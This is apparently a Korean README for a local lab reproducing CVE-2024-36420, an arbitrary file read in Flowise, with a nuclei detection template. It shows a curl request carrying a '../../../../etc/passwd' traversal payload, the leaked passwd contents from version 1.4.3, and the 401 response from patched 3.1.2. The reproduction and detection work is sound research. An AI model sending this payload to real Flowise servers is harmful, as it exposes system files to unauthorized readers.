
POC_CVE-2024-36420
CVE-2024-36420에 영향을 받는 Flowise를 위한 로컬 재현 실습 및 nuclei 템플릿 초안.
CVE-2024-36420은 Flowise에서 fileName 본문 매개변수를 적절히 검증하지 않아 발생하는 임의 파일 읽기 취약점이며, 다음 엔드포인트에서 트리거됩니다:
POST /api/v1/openai-assistants-file이 실습은 다음을 검증하는 데 사용되었습니다:
flowiseai/flowise:1.4.3에서 취약한 동작flowiseai/flowise:3.1.2에서 차단된 동작docker-compose.ymldocker-compose.latest.ymlCVE-2024-36420.yamlFlowise 1.4.3 시작:
docker compose down -v
docker compose up -d
docker compose logs --tail=100 flowise
수동 확인:
curl -i \
-X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
-H 'Content-Type: application/json' \
-d '{"fileName":"../../../../etc/passwd"}'
관찰된 취약한 응답:
HTTP/1.1 200 OK
Content-Disposition: attachment; filename=passwd
...
root:x:0:0:root:/root:/bin/ash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
최신 Flowise 3.1.2 시작:
docker compose -f docker-compose.latest.yml down -v
docker compose -f docker-compose.latest.yml up -d
docker compose -f docker-compose.latest.yml logs --tail=100 flowise
수동 확인:
curl -i \
-X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
-H 'Content-Type: application/json' \
-d '{"fileName":"../../../../etc/passwd"}'
관찰된 최신 버전 응답:
HTTP/1.1 401 Unauthorized
{"error":"Unauthorized Access"}
템플릿 검증:
nuclei -duc -validate -t CVE-2024-36420.yaml
취약한 대상에서 실행:
nuclei -duc -u http://127.0.0.1:3000 -t CVE-2024-36420.yaml
예상되는 동작:
1.4.3: 일치3.1.2: 불일치1.4.3에서 취약함3.1.2에서 차단됨